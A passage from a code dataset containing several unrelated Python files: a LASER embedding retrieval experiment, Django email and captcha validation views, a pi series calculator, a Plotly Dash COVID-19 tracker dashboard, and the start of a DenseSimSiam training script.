raw_queries, tmp_query_embeddings_path, dim, directory)\n print(\"query emb file: %s\" % tmp_query_embeddings_path)\n\n\n tmp_doc_embeddings_path = directory + \"tmp_%s_%s_%s_docs.npy\" % (doc_lang, str(len(raw_documents)), kwargs[\"maxlen\"])\n document_representations = _generate_laser_embeddings(doc_lang, raw_documents, tmp_doc_embeddings_path, dim, directory)\n print(\"doc emb file: %s\" % tmp_doc_embeddings_path)\n\n lang_pair = query_lang + \"-\" + doc_lang\n result = layer_wise_evaluation(doc_ids, document_representations, query_ids, query_representations, relass,\n lang_pair=lang_pair, model_dir=directory)\n print(\"max-len: %s\\tmap:%s\" % (str(kwargs[\"maxlen\"]), str(result[0])))\n return result\n\n\ndef _generate_laser_embeddings(language, raw_textlines, embeddings_path, dim, tmpfiledir):\n if not os.path.exists(embeddings_path):\n os.makedirs(tmpfiledir, exist_ok=True)\n with tempfile.NamedTemporaryFile(mode=\"w\", dir=tmpfiledir) as tmpfile:\n tmpfile.writelines([line + \"\\n\" for line in raw_textlines])\n tmpfile.flush()\n tmpfilename = tmpfile.name\n subprocess.run(\" \".join([LASER_EMB, tmpfilename, language,\n embeddings_path]),\n env=dict(os.environ),\n shell=True)\n embs = np.fromfile(embeddings_path, dtype=np.float32, count=-1)\n embs.resize(embs.shape[0] // dim, dim)\n return embs\n","repo_name":"rlitschk/EncoderCLIR","sub_path":"src/experiment/experiment_blackbox_LASER.py","file_name":"experiment_blackbox_LASER.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"10935649746","text":"#coding=utf-8\nfrom django.shortcuts import render,redirect,render_to_response\nfrom django.views.decorators.csrf import csrf_exempt\nfrom shopcart.models import MyUser\nfrom django.contrib import auth\nfrom django.core.context_processors import csrf\nfrom django.http import HttpResponse\n#引入JsonResponse,用来处理Json请求\nfrom django.http import JsonResponse\nfrom django.utils.translation import ugettext as _\nimport json\nfrom captcha.models import CaptchaStore\nimport logging\n# Get an instance of a logger\nlogger = logging.getLogger('icetus.shopcart')\n# Create your views here.\n\n@csrf_exempt\ndef ajax_validate_user(request,exits):\n\tresult_dict = {}\n\n\tmyuser = None\n\tif 'value' in request.GET:\n\t\tquery_str = request.GET['value'].lower()\n\telif 'email' in request.POST:\n\t\tquery_str = request.POST['email'].lower()\n\t\t\n\ttry:\n\t\tmyuser = MyUser.objects.get(email=query_str)\n\texcept:\n\t\tpass\n\t\n\tif myuser == None:\n\t\t#myuser是None,说明用户不存在\n\t\tif exits == 'hope-not-exits':\n\t\t\tresult_dict['valid'] = True\n\t\t\tresult_dict['value'] = query_str\n\t\t\tresult_dict['message'] = _('The email has been registered!')\n\t\telse:\n\t\t\tresult_dict['valid'] = False\n\t\t\tresult_dict['value'] = query_str\n\t\t\tresult_dict['message'] = _('The email has not been registered!')\n\telse:\n\t\t#myuser是None,说明用户已经存在\n\t\tif exits == 'hope-not-exits':\n\t\t\tresult_dict['valid'] = False\n\t\t\tresult_dict['value'] = query_str\n\t\t\tresult_dict['message'] = _('The email has been registered!')\n\t\telse:\n\t\t\tresult_dict['valid'] = True\n\t\t\tresult_dict['value'] = query_str\n\t\t\tresult_dict['message'] = _('The email has not been registered!')\n\n\treturn JsonResponse(result_dict)\n\t\ndef ajax_validate_captcha(request):\n\tif request.is_ajax():\n\t\tcs = CaptchaStore.objects.filter(response=request.GET['response'],hashkey=request.GET['hashkey'])\n\t\tresult_dict = {}\n\t\tif cs:\n\t\t\tresult_dict['success'] = True\n\t\t\tresult_dict['message'] = _('Varify code is correct.')\n\t\t\treturn JsonResponse(result_dict)\n\t\telse:\n\t\t\tresult_dict['success'] = False\n\t\t\tresult_dict['message'] = _('Varify code is not correct.')\n\t\t\treturn JsonResponse(result_dict)","repo_name":"icetusorg/cetusshop","sub_path":"shopcart/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"29232004857","text":"#计算圆周率\n# -*- coding: utf-8 -*-\n#def pi(N):\n #' 计算pi的值 '\n # step 1: 创建一个奇数序列: 1, 3, 5, 7, 9, ...\n\n # step 2: 取该序列的前N项: 1, 3, 5, 7, 9, ..., 2*N-1.\n\n # step 3: 添加正负符号并用4除: 4/1, -4/3, 4/5, -4/7, 4/9, ...\n\n # step 4: 求和:\nimport itertools\nfrom decimal import *\n\ndef pi(n):\n getcontext().prec = n\n a=itertools.count(1)\n d=[]\n for i in a:\n if i%2 == 1 and i <(2*n):\n d.append(i)\n if i >2*n:\n break\n d2=[]\n for i in range(n):\n if i%2==1:\n d2.append(-(d[i]))\n if i%2==0:\n d2.append(d[i])\n p=0\n for i in range(n):\n p=p+(4/(d2[i]))\n\n print(p)\npi(10000000)\n\n","repo_name":"guodaxiaa/python_office","sub_path":"计算圆周率.py","file_name":"计算圆周率.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35809762393","text":"\r\nfrom logging import PlaceHolder\r\nimport dash\r\nfrom dash_bootstrap_components._components import Navbar\r\nimport dash_html_components as html\r\nimport dash_core_components as dcc\r\nfrom dash_html_components import Div\r\nfrom dash_html_components.Option import Option\r\nfrom numpy import number\r\nfrom pandas.core.indexes import base\r\nimport plotly.graph_objs as go\r\nimport pandas as pd\r\nfrom functools import reduce \r\nfrom dash.dependencies import Input, Output\r\nimport dash_bootstrap_components as dbc\r\nfrom dash_extensions import Lottie\r\n\r\n\r\n\r\n# These are the links to the datasets. Whenever these datasets get updated, it will replicate automatically in our application.\r\n\r\nconfirmed_link = \"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv\"\r\ndeaths_link = \"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv\"\r\nrecovered_link = \"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_recovered_global.csv\"\r\n\r\n\r\nconfirmed_cases = pd.read_csv(confirmed_link)\r\ndeaths_cases = pd.read_csv(deaths_link)\r\nrecovered_cases = pd.read_csv(recovered_link)\r\n\r\n#Let's unpivot the data\r\nconfirmed_data = confirmed_cases.melt(id_vars=[\"Province/State\",\"Country/Region\",\"Lat\", \"Long\"],value_vars= confirmed_cases.columns[4:],var_name='Date',value_name='Total_Confirmed')\r\ndeaths_data = deaths_cases.melt(id_vars=[\"Province/State\",\"Country/Region\",\"Lat\",\"Long\"], value_vars=deaths_cases.columns[4:], var_name=\"Date\" ,value_name=\"Total_deaths\")\r\nrecovered_data = recovered_cases.melt(id_vars=[\"Province/State\",\"Country/Region\",\"Lat\",\"Long\"], value_vars=recovered_cases.columns[4:], var_name=\"Date\", value_name=\"Total_recovered\")\r\n\r\n# Let's merge all the 3 datasets\r\nall_data = [confirmed_data,deaths_data ,recovered_data]\r\nall_data = reduce(lambda left, right:pd.merge(left, right, on=[\"Province/State\",\"Country/Region\",\"Date\",\"Lat\",\"Long\"], how=\"left\"),all_data)\r\n\r\n#Converting date to it proper format\r\nall_data[\"Date\"]=pd.to_datetime(all_data[\"Date\"])\r\n\r\n# Checking the missing values and Replacing all the NA with zero\r\nall_data.isna().sum()\r\nall_data[\"Total_recovered\"] = all_data[\"Total_recovered\"].fillna(0)\r\n\r\n# Creating a new variable Active\r\nall_data[\"Active\"] = all_data[\"Total_Confirmed\"] - all_data[\"Total_deaths\"]- all_data[\"Total_recovered\"]\r\n\r\n# \r\nall_data_grouped = all_data.groupby(['Date'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n\r\n# Dictionary of list\r\n\r\nall_data_list = all_data[['Country/Region','Lat','Long' ]]\r\ndic_of_location = all_data_list.set_index(['Country/Region'])[['Lat', 'Long']].T.to_dict('dict')\r\n\r\n# Some links\r\nurl1=\"https://assets2.lottiefiles.com/packages/lf20_0djafiny.json\" \r\noptions = dict(loop=True, autoplay=True, rendererSettings=dict(preserveAspectRatio='xMidYMid slice'))\r\n\r\n# Lottie by Emil - https://github.com/thedirtyfew/dash-extensions\r\nurl_coonections = \"https://assets9.lottiefiles.com/private_files/lf30_5ttqPi.json\"\r\nurl_companies = \"https://assets9.lottiefiles.com/packages/lf20_EzPrWM.json\"\r\nurl_msg_in = \"https://assets9.lottiefiles.com/packages/lf20_8wREpI.json\"\r\nurl_msg_out = \"https://assets2.lottiefiles.com/packages/lf20_Cc8Bpg.json\"\r\nurl_reactions = \"https://assets2.lottiefiles.com/packages/lf20_nKwET0.json\"\r\n\r\nlottie_banner = 'https://assets7.lottiefiles.com/private_files/lf30_1lysabyy.json'\r\n\r\nlottie_cases = 'https://assets1.lottiefiles.com/packages/lf20_dkljlzky.json'\r\nlottie_death = 'https://assets7.lottiefiles.com/temp/lf20_euwjhc.json'\r\nlottie_recovered = 'https://assets4.lottiefiles.com/packages/lf20_rvqq1X.json'\r\nlottie_active = 'https://assets8.lottiefiles.com/packages/lf20_trqlqcx6.json'\r\n\r\n\r\n# Setting the app\r\n\r\nexternal_stylesheets = [\r\n {\r\n \"href\": \"https://fonts.googleapis.com/css2?\"\r\n \"family=Lato:wght@400;700&display=swap\",\r\n \"rel\": \"stylesheet\",\r\n },\r\n]\r\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\r\n\r\nserver=app.server\r\n\r\n#app= dash.Dash(__name__, external_stylesheets=[dbc.themes.FLATLY])\r\n\r\ncolors = {\r\n 'background': '#192444',\r\n 'text': '#7FDBFF'\r\n}\r\n\r\n#style={'backgroundColor': colors['background']}, children=\r\napp.layout = html.Div(style={'backgroundColor': colors['background']}, children=[\r\n dbc.Navbar(style={'backgroundColor':'#0e1035'},children=[ \r\n\r\n html.Div(\r\n children=[\r\n html.P(Lottie(options=options, width=\"12%\", height=\"12%\", url=url1, speed=4)),\r\n html.H1(\r\n children=\"COVID-19 TRACKER\", className=\"header-title\", style={'textAlign':'center', 'color':'white'}\r\n ),\r\n\r\n html.Blockquote([ \r\n html.P(\"For those who lost their loved ones, may the Almighty conforter confort you.\"),\r\n html.P(\r\n (html.Small(\"Designed by : KUDZO VENUNYE ADZAWLA\",style={'textAlign':'center', 'color':'white'})))\r\n ], className=\"header-description\", style={'color':'yellow'}),\r\n\r\n ])\r\n ],className=\"header\"),\r\n\r\n html.Div( \r\n dbc.Row(html.Marquee('Last updated : ' + str(all_data['Date'].iloc[-1].strftime('%B %d, %Y') + ' 00:00 (GMT)'), style={'color':'orange', 'fontSize':'20px', 'fontFamily':'Times new roman', 'align':'center'}, className='mb-2 mt-2')),\r\n ),\r\ndbc.Row([ \r\n dbc.Row([\r\n\r\n # col1 of R2 \r\n dbc.Col([\r\n dbc.Card([\r\n dbc.CardHeader(Lottie(options=options, width=\"35%\", height=\"35%\", url=lottie_active, speed=3)),\r\n dbc.CardBody([\r\n html.H6('GLOBAL CASES',style={'textAlign':'center','color':'white'}, className='font-weight-bolder'),\r\n html.P(f\"{all_data_grouped['Total_Confirmed'].iloc[-1]:,.0f}\", style={\"textAlign\":\"center\",\"color\":\"orange\",'fontSize':20}),\r\n html.P(\"New cases:\" + f\"{all_data_grouped['Total_Confirmed'].iloc[-1] - all_data_grouped['Total_Confirmed'].iloc[-2]: ,.0f}\", style={'color':'white'}),\r\n html.P('(' + str(round(((all_data_grouped['Total_Confirmed'].iloc[-1] - all_data_grouped['Total_Confirmed'].iloc[-2])/all_data_grouped['Total_Confirmed'].iloc[-1])*100,2)) + '%)', style={'color':'#f2aa4cff'})\r\n ], className='font-weight-bolder', style={'textAlign':'center'})\r\n ], color='#34495E'), #color=\"#34495E\" #E59866\r\n ], width={'size':3, 'offset':3}, className='card_container three columns'),\r\n\r\n # col2 of R2 \r\n\r\n dbc.Col([\r\n dbc.Card([\r\n dbc.CardHeader(Lottie(options=options, width=\"27%\", height=\"27%\", url=lottie_death)),\r\n dbc.CardBody([\r\n html.H6('GLOBAL DEATH',style={'textAlign':'center','color':'white'}, className='font-weight-bolder'),\r\n html.P(f\"{all_data_grouped['Total_deaths'].iloc[-1]:,.0f}\", style={\"textAlign\":\"center\",\"color\":\"orange\",'fontSize':20}), \r\n html.P('New cases : ' + f\"{all_data_grouped['Total_deaths'].iloc[-1] - all_data_grouped['Total_deaths'].iloc[-2]: ,.0f}\", style={'color':'white'}),\r\n html.P('(' + str(round(((all_data_grouped['Total_deaths'].iloc[-1] - all_data_grouped['Total_deaths'].iloc[-2])/all_data_grouped['Total_deaths'].iloc[-1])*100,2)) + '%)', style={'color':'#f2aa4cff'})\r\n ],className='font-weight-bolder', style={'textAlign':'center'})\r\n ], color='#990000'),\r\n ], width=3, className='card_container three columns'),\r\n\r\n # col3 of R2 \r\n\r\n dbc.Col([\r\n dbc.Card([\r\n dbc.CardHeader(Lottie(options=options, width=\"27%\", height=\"27%\", url=lottie_cases)),\r\n dbc.CardBody([\r\n html.H6('RECOVERED',style={'textAlign':'center','color':'white'}, className='font-weight-bolder'),\r\n html.P(f\"{all_data_grouped['Total_recovered'].iloc[-1]:,.0f}\", style={\"textAlign\":\"center\",\"color\":\"orange\",'fontSize':20}),\r\n html.P('New cases : ' + f\"{all_data_grouped['Total_recovered'].iloc[-1] - all_data_grouped['Total_recovered'].iloc[-2]: ,.0f}\", style={'color':'white'}),\r\n html.P('(' + str(round(((all_data_grouped['Total_recovered'].iloc[-1] - all_data_grouped['Total_recovered'].iloc[-2])/all_data_grouped['Total_recovered'].iloc[-1])*100,2)) + '%)', style={'color':'#f2aa4cff'})\r\n ], className='font-weight-bolder', style={'textAlign': 'center'})\r\n ], color='#008080'),\r\n ], width=3, className='card_container three columns'),\r\n\r\n # col4 of R2\r\n\r\n dbc.Col([\r\n dbc.Card([\r\n dbc.CardHeader(Lottie(options=options, width=\"27%\", height=\"27%\", url=lottie_recovered)),\r\n dbc.CardBody([\r\n html.H6(children='TOTAL ACTIVE', style={'textAlign':'center','color':'white'}, className='font-weight-bolder'),\r\n html.P(f\"{all_data_grouped['Active'].iloc[-1]:,.0f}\", style={\"textAlign\":\"center\",\"color\":'orange','fontSize':20}),\r\n html.P('New cases : ' + f\"{all_data_grouped['Active'].iloc[-1] - all_data_grouped['Active'].iloc[-2]: ,.0f}\", style={'color':'white'}),\r\n html.P('(' + str(round(((all_data_grouped['Active'].iloc[-1] - all_data_grouped['Active'].iloc[-2])/all_data_grouped['Active'].iloc[-1])*100,2)) + '%)', style={'color':'#f2aa4cff'})\r\n ], className='font-weight-bolder', style={'textAlign':'center'})\r\n ], color=\"#34495E\"),\r\n ], width=3, className='card_container three columns'), \r\n], no_gutters=True, justify='center'),\r\n\r\n\r\n\r\nhtml.Div([\r\n html.P('Select country:', className='fix-label', style={'color':'white'}),\r\n dcc.Dropdown(id='w_countries',\r\n multi=False,\r\n searchable=True,\r\n value='Senegal',\r\n placeholder=\"Select country\",\r\n options=[{'label': c, 'value': c}\r\n for c in (all_data[\"Country/Region\"].unique())], className='dcc_compon'),\r\n\r\n html.P('New Cases : ' + ' ' + str(all_data['Date'].iloc[-1].strftime('%B %d, %Y')),\r\n className='fix_label', style={'text-align':'center', 'color':'white'}),\r\n dcc.Graph(id='confirmed', config={'displayModeBar':False}, className='dcc_compon'),\r\n\r\n dcc.Graph(id='death', config={'displayModeBar':False}, className='dcc_compon'),\r\n\r\n dcc.Graph(id='recovered', config={'displayModeBar':False}, className='dcc_compon'),\r\n\r\n dcc.Graph(id='active', config={'displayModeBar':False}, className='dcc_compon'),\r\n ], className='create_container three columns'),\r\n \r\n # The pie graph\r\n\r\n html.Div([\r\n dcc.Graph(id='pie_chart', config={'displayModeBar':'hover'})\r\n ], className='create_container four columns'),\r\n\r\n # This where the line graph lies\r\n html.Div([\r\n dcc.Graph(id='line_chart', config={'displayModeBar':'hover'})\r\n ], className='create_container five columns'),\r\n\r\n # This where the map graph lies\r\n html.Div([\r\n dcc.Graph(id='map_chart', config={'displayModeBar':'hover'})\r\n ], className='create_container1 twelves columns')\r\n\r\n ], className='mb-2'),\r\n\r\n ])\r\n\r\n\r\n@app.callback(Output('confirmed', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_confirmed(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n conf_cases = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_Confirmed'].iloc[-1] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_Confirmed'].iloc[-2]\r\n conf_delta = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_Confirmed'].iloc[-2] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_Confirmed'].iloc[-3]\r\n\r\n return {\r\n 'data':[go.Indicator(\r\n mode='number+delta',\r\n value=conf_cases,\r\n delta={'reference': conf_delta,\r\n 'position':'right',\r\n 'valueformat':' ,g',\r\n 'relative':False,\r\n 'font':{'size':15}},\r\n number={'valueformat':' ',\r\n 'font':{'size':20}},\r\n \r\n domain={'y': [0, 1], 'x': [0, 1]}\r\n )],\r\n 'layout':go.Layout(\r\n title={'text': 'New Confirmeds',\r\n 'y':1,\r\n 'x':0.5,\r\n 'xanchor':'center',\r\n 'yanchor':'top'},\r\n font=dict(color = 'orange'),\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n height = 85,\r\n ) \r\n\r\n }\r\n\r\n \r\n@app.callback(Output('death', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_confirmed(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n death_cases = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_deaths'].iloc[-1] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_deaths'].iloc[-2]\r\n death_delta = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_deaths'].iloc[-2] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_deaths'].iloc[-3]\r\n\r\n return {\r\n 'data':[go.Indicator(\r\n mode='number+delta',\r\n value=death_cases,\r\n delta={'reference': death_delta,\r\n 'position':'right',\r\n 'valueformat':' ,g',\r\n 'relative':False,\r\n 'font':{'size':15}},\r\n number={'valueformat':' ',\r\n 'font':{'size':20}},\r\n \r\n domain={'y': [0, 1], 'x': [0, 1]}\r\n )],\r\n 'layout':go.Layout(\r\n title={'text': 'New Deaths',\r\n 'y':1,\r\n 'x':0.5,\r\n 'xanchor':'center',\r\n 'yanchor':'top'},\r\n font=dict(color = 'orange'),\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n height = 85,\r\n ) \r\n\r\n }\r\n \r\n@app.callback(Output('recovered', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_confirmed(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n recovered_cases = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_recovered'].iloc[-1] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_recovered'].iloc[-2]\r\n recovered_delta = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_recovered'].iloc[-2] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_recovered'].iloc[-3]\r\n\r\n return {\r\n 'data':[go.Indicator(\r\n mode='number+delta',\r\n value=recovered_cases,\r\n delta={'reference': recovered_delta,\r\n 'position':'right',\r\n 'valueformat':' ,g',\r\n 'relative':False,\r\n 'font':{'size':15}},\r\n number={'valueformat':' ',\r\n 'font':{'size':20}},\r\n \r\n domain={'y': [0, 1], 'x': [0, 1]}\r\n )],\r\n 'layout':go.Layout(\r\n title={'text': 'New Recovered',\r\n 'y':1,\r\n 'x':0.5,\r\n 'xanchor':'center',\r\n 'yanchor':'top'},\r\n font=dict(color = 'orange'),\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n height = 85,\r\n ) \r\n\r\n }\r\n\r\n@app.callback(Output('active', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_confirmed(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n active_cases = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Active'].iloc[-1] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Active'].iloc[-2]\r\n active_delta = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Active'].iloc[-2] - all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Active'].iloc[-3]\r\n\r\n return {\r\n 'data':[go.Indicator(\r\n mode='number+delta',\r\n value=active_cases,\r\n delta={'reference': active_delta,\r\n 'position':'right',\r\n 'valueformat':' ,g',\r\n 'relative':False,\r\n 'font':{'size':15}},\r\n number={'valueformat':' ',\r\n 'font':{'size':20}},\r\n \r\n domain={'y': [0, 1], 'x': [0, 1]}\r\n )],\r\n 'layout':go.Layout(\r\n title={'text': 'New Active',\r\n 'y':1,\r\n 'x':0.5,\r\n 'xanchor':'center',\r\n 'yanchor':'top'},\r\n font=dict(color = 'orange'),\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n height = 85,\r\n ) \r\n\r\n } \r\n\r\n# Pie Graph\r\n@app.callback(Output('pie_chart', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_pie(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n confirmed_value = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_Confirmed'].iloc[-1]\r\n death_value= all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_deaths'].iloc[-1]\r\n recorvered_value = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Total_recovered'].iloc[-1]\r\n active_value = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries]['Active'].iloc[-1]\r\n colors=[\"orange\", \"pink\", \"red\", \"purple\"]\r\n\r\n return {\r\n 'data': [go.Pie(\r\n labels=['Confirmed', 'Death', 'Recovered', 'Active'],\r\n values=[confirmed_value, death_value, recorvered_value, active_value],\r\n marker=dict(colors=colors),\r\n hoverinfo='label+value+percent',\r\n textinfo='label+value',\r\n hole=.7,\r\n rotation=45,\r\n insidetextorientation='radial'\r\n\r\n )],\r\n 'layout':go.Layout(\r\n title={'text': 'Total cases - ' + (w_countries),\r\n 'y':0.9,\r\n 'x':0.5, #0.1\r\n 'xanchor':'center',\r\n 'yanchor':'top'},\r\n titlefont={\"color\":\"white\",\r\n \"size\":20},\r\n font=dict(family='sans-serif',\r\n color='white',\r\n size=12),\r\n hovermode='closest',\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n legend={'orientation':'h',\r\n 'bgcolor':'#1f2c56',\r\n 'xanchor':'center', 'x':0.5, 'y': -0.2}\r\n ) \r\n\r\n }\r\n\r\n# Here lies the callback for the line graph\r\n\r\n@app.callback(Output('line_chart', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_line_chart(w_countries):\r\n all_data_grouped02 = all_data.groupby(['Date', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n all_data_grouped03 = all_data_grouped02[all_data_grouped02['Country/Region']==w_countries][['Country/Region', 'Date', 'Total_Confirmed']].reset_index()\r\n all_data_grouped03[\"Daily_confirmed\"] = all_data_grouped03['Total_Confirmed'] - all_data_grouped03['Total_Confirmed'].shift(1)\r\n all_data_grouped03['Rolling Ave.'] = all_data_grouped03['Daily_confirmed'].rolling(window=7).mean()\r\n \r\n return{\r\n 'data': [go.Bar(\r\n x=all_data_grouped03[\"Date\"].tail(30),\r\n y=all_data_grouped03[\"Rolling Ave.\"].tail(30),\r\n name='Daily Confirmed Cases',\r\n marker=dict(color=\"orange\"),\r\n hoverinfo='text',\r\n hovertext=\r\n 'Date: ' + all_data_grouped03[\"Date\"].tail(30).astype(str) + '
' + \r\n 'Daily Confirmed Cases : ' + [f'{x:,.0f}' for x in all_data_grouped03[\"Rolling Ave.\"].tail(30)] + '
' +\r\n 'Country: ' + all_data_grouped03[\"Country/Region\"].tail(30).astype(str) + '
'\r\n\r\n ),\r\n go.Bar(\r\n x=all_data_grouped03[\"Date\"].tail(30),\r\n y=all_data_grouped03[\"Rolling Ave.\"].tail(30),\r\n #mode='lines',\r\n name='Rolling average of the last 7 days - Daily confirmed cases',\r\n #line=dict(width=3, color=\"#FF00FF\"),\r\n hoverinfo='text',\r\n hovertext=\r\n 'Date: ' + all_data_grouped03[\"Date\"].tail(30).astype(str) + '
' + \r\n 'Daily Confirmed Cases : ' + [f'{x:,.0f}' for x in all_data_grouped03[\"Rolling Ave.\"].tail(30)] + '
'\r\n\r\n )],\r\n 'layout': go.Layout(\r\n title={'text': 'Last 30 Days Daily Confirmed Cases: ' + (w_countries),\r\n 'y': 0.93,\r\n 'x': 0.5,\r\n 'xanchor': 'center',\r\n 'yanchor': 'top'},\r\n titlefont={'color': 'white',\r\n 'size': 20},\r\n font=dict(family='sans-serif',\r\n color='white',\r\n size=12),\r\n hovermode='closest',\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n legend={'orientation': 'h',\r\n 'bgcolor': '#1f2c56',\r\n 'xanchor': 'center', 'x': 0.5, 'y': -0.5},\r\n #margin=dict(r=0),\r\n xaxis=dict(title='Date',\r\n color = 'white',\r\n showline=True,\r\n showgrid=True,\r\n showticklabels=True,\r\n linecolor='white',\r\n linewidth=1,\r\n ticks='outside',\r\n tickfont=dict(\r\n family='Aerial',\r\n color='white',\r\n size=12\r\n )),\r\n yaxis=dict(title='Daily Confirmed Cases',\r\n color='white',\r\n showline=True,\r\n showgrid=True,\r\n showticklabels=True,\r\n linecolor='white',\r\n linewidth=1,\r\n ticks='outside',\r\n tickfont=dict(\r\n family='Aerial',\r\n color='white',\r\n size=12\r\n )\r\n ))\r\n }\r\n\r\n@app.callback(Output('map_chart', 'figure'),\r\n [Input('w_countries', 'value')])\r\n\r\ndef update_map_chart(w_countries):\r\n all_data_map = all_data.groupby(['Lat', 'Long', 'Country/Region'])[['Total_Confirmed','Total_deaths','Total_recovered', 'Active']].sum().reset_index()\r\n all_data_map_04 = all_data_map[all_data_map['Country/Region']==w_countries]\r\n\r\n\r\n if w_countries:\r\n zoom=2\r\n zoom_lat = dic_of_location[w_countries]['Lat']\r\n zoom_long = dic_of_location[w_countries]['Long']\r\n\r\n return{\r\n 'data': [go.Scattermapbox(\r\n lon=all_data_map_04['Long'],\r\n lat=all_data_map_04['Lat'],\r\n mode='markers',\r\n marker=go.scattermapbox.Marker(size=all_data_map_04['Total_Confirmed'],\r\n colorscale='HSV',\r\n showscale=False,\r\n sizemode='area',\r\n opacity=0.3),\r\n hoverinfo='text',\r\n hovertext=\r\n 'Country: ' + all_data_map_04[\"Country/Region\"].astype(str) + '
' + \r\n 'Longitude: ' + all_data_map_04[\"Long\"].astype(str) + '
' + \r\n 'Confirmed Cases : ' + [f'{x:,.0f}' for x in all_data_map_04[\"Total_Confirmed\"]] + '
' +\r\n 'Death Cases : ' + [f'{x:,.0f}' for x in all_data_map_04[\"Total_deaths\"]] + '
' +\r\n 'Recovered Cases : ' + [f'{x:,.0f}' for x in all_data_map_04[\"Total_recovered\"]] + '
' +\r\n 'Active Cases : ' + [f'{x:,.0f}' for x in all_data_map_04[\"Active\"]] + '
'\r\n )],\r\n 'layout': go.Layout(\r\n hovermode='x',\r\n paper_bgcolor='#1f2c56',\r\n plot_bgcolor='#1f2c56',\r\n #margin=dict(r=0),\r\n margin=dict(r=0, l =0, b = 0, t = 0),\r\n mapbox=dict(\r\n accesstoken='pk.eyJ1Ijoia3Vkem8iLCJhIjoiY2t0MDJpY2wyMDR5MjJ1cDlzb29yYzY4aCJ9.oP8LBW2pdaRvHWe_pepZjg',\r\n center = go.layout.mapbox.Center(lat=zoom_lat, lon=zoom_long),\r\n style='dark',\r\n zoom=zoom,\r\n ),\r\n autosize=True\r\n )\r\n} \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)","repo_name":"Adzawla/covid-19-dash-app","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":24382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29052350518","text":"from modules.ContrastModel import DenseSimSiam\nfrom utils import *\nimport numpy as np\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\ndef get_model_and_optimizer(args, logger):\n\n # Init model \n model = DenseSimSiam(args=args)\n model = nn.DataParallel(model, device_ids=[0])\n model = model.cuda()\n\n # Init classifier (for eval only.)\n classifier = initialize_classifier(args)\n\n # Init optimizer \n if args.optim_type == 'SGD':\n logger.info('SGD optimizer is used.')\n optimizer = torch.optim.SGD(filter(lambda x: x.requires_grad, model.module.parameters()), lr=args.lr, \\\n momentum=args.momentum, weight_decay=args.weight_decay)\n elif args.optim_type == 'Adam':\n logger.info('Adam optimizer is used.')\n optimizer = torch.optim.Adam(filter(lambda x: 